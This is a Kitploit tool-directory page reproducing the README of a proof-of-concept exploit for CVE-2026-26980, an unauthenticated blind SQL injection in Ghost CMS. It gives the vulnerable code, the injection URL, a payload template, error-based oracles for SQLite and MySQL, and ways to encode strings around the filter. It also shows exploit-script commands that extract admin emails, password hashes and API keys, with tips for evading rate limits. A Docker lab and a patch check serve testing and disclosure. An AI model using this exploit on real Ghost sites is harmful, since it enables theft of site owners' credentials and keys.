Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-26980-PoC — Ghost CMS Content API Blind SQL Injection | Kitploit
Tools/GitHubGitHub/n0bitaemon/cve-2026-26980-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase SecurityLabs & Practice
GitHubn0bitaemon/cve-2026-26980-poc

CVE-2026-26980-PoC

Ghost CMS Content API Blind SQL Injection

View Repository
132 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-26980 — Ghost CMS Content API Blind SQL Injection

Affected: Ghost 3.24.0 – 6.19.0
Fixed in: Ghost 6.19.1
Auth required: None — Content API key is public
Impact: Unauthenticated read of the entire database (credentials, API keys)


Vulnerability

slug-filter-order.js interpolates user-supplied slug values directly into a raw SQL ORDER BY clause instead of using parameterized bindings.

root@kitploit:~
// VULNERABLE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
//                                  ^^^^^^^^^^^ raw string interpolation

// FIXED — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);

Injection point:

root@kitploit:~
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<anchor>]

Payload template:

root@kitploit:~
slug:['||<SQL_EXPR>||',<anchor-slug>]
Download Tool

Oracle

The injected expression acts as an error-based boolean oracle.

EngineTRUEFALSE
SQLitehex(randomblob(10^15)) → OOM → HTTP 500ELSE 0 → HTTP 200
MySQLTHEN 0 → HTTP 200EXP(710) overflow → HTTP 500

NQL constraints — the SQL expression inside the brackets must not contain single quotes (') or commas (,):

ProblemSQLite solutionMySQL solution
String literal 'content'CHAR(99)||CHAR(111)||...0x636F6E74656E74
Character at position NPrefix-based string comparisonASCII(SUBSTR(x FROM N FOR 1))

|| is string concatenation in SQLite but logical OR in MySQL — string literals must be encoded differently per engine.


Usage

root@kitploit:~
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [data flags] [options]

Required:
  --url URL       Ghost base URL (e.g. http://localhost:2368)
  --key KEY       Content API key

Optional:
  --slug SLUG     Anchor slug (auto-discovered from API if omitted)
  --dbms {auto,sqlite,mysql}   DB engine (default: auto-detect)
  --delay N       Seconds between requests — use to avoid HTTP 429 (default: 0)
  --proxy URL     HTTP proxy (e.g. http://127.0.0.1:8080) (default: none)
  --validate-fix  Test if the target is patched, then exit

Data flags (at least one required):
  --email         User email(s)
  --hash          User bcrypt hash(es)
  --content-key   Content API key(s)
  --admin-key     Admin API key(s)
  --all           Shorthand for --email --hash --content-key --admin-key

Modifier:
  --all-records   Extract ALL records for the selected flag(s) instead of first only

Examples

root@kitploit:~
# Extract first admin email + hash (no proxy)
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --email --hash --no-proxy

# Extract everything, first record each
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --no-proxy

# Extract all Content API keys
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --content-key --all-records

# Extract ALL records of ALL data types
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --all-records

# Route through Burp proxy
python3 exploit/exploit.py \
  --url http://localhost:2368 \
  --key <content_api_key> \
  --all --proxy http://127.0.0.1:8080

# Force MySQL engine, add delay to avoid rate limiting
python3 exploit/exploit.py \
  --url http://target.com \
  --key <content_api_key> \
  --all --dbms mysql --delay 0.5

# Verify the patched version is not exploitable
python3 exploit/exploit.py \
  --url http://localhost:2369 \
  --key <content_api_key> \
  --validate-fix

Rate limiting (HTTP 429)

Ghost rate-limits Content API requests by default. Options:

  1. Pass --delay 0.5 to add a delay between requests
  2. Set API_RATE_LIMIT_ENABLED: "false" in the docker-compose environment and restart

References

  • Ghost Security Advisory: GHSA-w52v-v783-gw97
  • NVD: CVE-2026-26980
  • Fix diff: slug-filter-order.js in Ghost 6.18.0 → 6.19.1

Lab Setup

For reference only — skip if you already have a vulnerable Ghost instance.

Requirements

  • Docker + Docker Compose
  • Python 3.9+ with pip install requests

Directory structure

root@kitploit:~
ghost-cve-2026-26980/
├── mysql_docker-compose.yml    # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml   # Ghost + SQLite (default)
├── mysql-init/
│   └── 01-init.sql             # creates ghost_patch DB, grants access
├── vulnerable/
│   └── Dockerfile              # Ghost 6.18.0
├── patched/
│   └── Dockerfile              # Ghost 6.19.1
└── exploit/
    └── exploit.py

Both compose files expose:

  • http://localhost:2368 — vulnerable (Ghost 6.18.0)
  • http://localhost:2369 — patched (Ghost 6.19.1)

Start with SQLite

root@kitploit:~
docker compose -f sqlite_docker-compose.yml up -d

Start with MySQL

root@kitploit:~
docker compose -f mysql_docker-compose.yml up -d

MySQL credentials: host=localhost:3306 user=ghost password=ghostpass
Databases: ghost_vuln (port 2368) / ghost_patch (port 2369)

First-run setup

Wait ~60 s for Ghost to initialize, then:

  1. Go to http://localhost:2368/ghost — create an admin account and publish at least one post
  2. Copy the Content API key from Ghost Admin → Settings → Integrations

Reset the lab

root@kitploit:~
# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d

# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d